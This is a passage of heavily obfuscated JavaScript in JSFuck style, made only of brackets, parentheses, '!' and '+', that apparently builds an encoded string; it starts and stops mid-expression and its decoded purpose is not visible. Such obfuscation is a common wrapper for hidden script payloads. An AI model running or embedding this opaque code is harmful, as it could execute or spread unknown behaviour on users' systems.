[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+